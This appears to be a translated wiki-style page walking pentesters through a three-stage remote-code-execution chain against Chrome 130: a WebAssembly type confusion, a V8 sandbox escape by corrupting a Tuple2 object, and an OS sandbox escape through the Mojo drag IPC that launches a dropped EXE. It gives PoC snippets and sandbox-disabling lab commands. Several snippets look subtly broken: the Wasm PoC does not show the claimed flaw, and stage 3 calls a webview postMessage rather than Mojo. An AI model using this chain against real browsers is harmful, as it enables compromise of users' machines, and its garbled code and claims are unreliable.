Chrome Exploiting

Ця сторінка надає загальний, але практичний огляд сучасного "повного ланцюга" експлуатації проти Google Chrome 130 на основі серії досліджень “101 Chrome Exploitation” (Частина-0 — Передмова). Мета полягає в тому, щоб надати пентестерам та розробникам експлойтів мінімальний фон, необхідний для відтворення або адаптації технік для власних досліджень.

1. Chrome Architecture Recap

Розуміння поверхні атаки вимагає знання, де виконується код і які пісочниці застосовуються.

+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+

Шарована оборона в глибині:

• V8 пісочниця (Isolate): дозволи пам'яті обмежені, щоб запобігти довільному читанню/запису з JITed JS / Wasm.
• Розділення Renderer ↔ Browser забезпечується через Mojo/IPC обмін повідомленнями; рендерер не має жодного доступу до нативної FS/мережі.
• OS пісочниці додатково обмежують кожен процес (Рівні цілісності Windows / seccomp-bpf / профілі пісочниці macOS).

Отже, віддаленому атакуючому потрібні три послідовні примітиви:

1. Пошкодження пам'яті всередині V8, щоб отримати довільний RW всередині купи V8.
2. Другий баг, що дозволяє атакуючому втекти з пісочниці V8 до повної пам'яті рендерера.
3. Остаточне втеча з пісочниці (часто логіка, а не пошкодження пам'яті), щоб виконати код поза пісочницею Chrome OS.

2. Етап 1 – Помилка типу WebAssembly (CVE-2025-0291)

Недолік в оптимізації Turboshaft TurboFan неправильно класифікує WasmGC типи посилань, коли значення виробляється і споживається всередині одного базового блоку циклу.

Ефект:

• Компілятор пропускає перевірку типу, розглядаючи посилання (externref/anyref) як int64.
• Сформований Wasm дозволяє перекривати заголовок об'єкта JS з даними, контрольованими атакуючим → addrOf() & fakeObj() AAW / AAR примітиви.

Мінімальний PoC (витяг):

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

Оптимізація тригера та спрей-об'єкти з JS:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Результат: произвольне читання/запис у V8.

3. Етап 2 – Вихід з пісочниці V8 (проблема 379140430)

Коли функція Wasm компілюється в режимі tier-up, генерується JS ↔ Wasm обгортка. Помилка несумісності підпису призводить до того, що обгортка записує за межі кінця довіреного Tuple2 об'єкта, коли функція Wasm повторно оптимізується поки ще на стеку.

Перезаписування 2 × 64-бітних полів об'єкта Tuple2 дозволяє читати/записувати на будь-яку адресу всередині процесу Renderer, ефективно обходячи пісочницю V8.

Ключові кроки в експлойті:

1. Перевести функцію в стан Tier-Up, чергуючи код turbofan/baseline.
2. Викликати tier-up, зберігаючи посилання на стеку (Function.prototype.apply).
3. Використати Stage-1 AAR/AAW для знаходження та пошкодження сусіднього Tuple2.

Ідентифікація обгортки:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

Після корупції ми маємо повнофункціональну примітиву R/W рендерера.

4. Етап 3 – Втеча з пісочниці ОС через рендерер (CVE-2024-11114)

Mojo IPC інтерфейс blink.mojom.DragService.startDragging() може бути викликаний з рендерера з частково довіреними параметрами. Створивши структуру DragData, що вказує на довільний шлях до файлу, рендерер переконує браузер виконати рідну операцію перетягування та скидання поза пісочницею рендерера.

Зловживаючи цим, ми можемо програмно “перетягнути” шкідливий EXE (раніше скинутий у місце, доступне для запису) на Робочий стіл, де Windows автоматично виконує певні типи файлів після скидання.

Приклад (спрощений):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

Необхідно жодного додаткового пошкодження пам'яті – логічна помилка надає нам можливість виконання довільних файлів з привілеями користувача.

5. Повний ланцюг

1. Користувач відвідує шкідливу веб-сторінку.
2. Етап 1: Модуль Wasm зловживає CVE-2025-0291 → V8 heap AAR/AAW.
3. Етап 2: Невідповідність обгортки пошкоджує Tuple2 → вихід з пісочниці V8.
4. Етап 3: startDragging() IPC → вихід з пісочниці ОС та виконання корисного навантаження.

Результат: Віддалене виконання коду (RCE) на хості (Chrome 130, Windows/Linux/macOS).

6. Налаштування лабораторії та налагодження

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Корисні флаги при запуску development збірки Chrome:

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

Висновки

• WebAssembly JIT помилки залишаються надійною точкою входу – типова система все ще молода.
• Отримання другої помилки корупції пам'яті всередині V8 (наприклад, невідповідність обгортки) значно спрощує втечу з пісочниці V8.
• Логічні слабкості в привілейованих інтерфейсах Mojo IPC часто є достатніми для остаточної втечі з пісочниці – звертайте увагу на непам'ятні помилки.

Посилання

• 101 Chrome Exploitation — Part 0 (Preface)
• Архітектура безпеки Chromium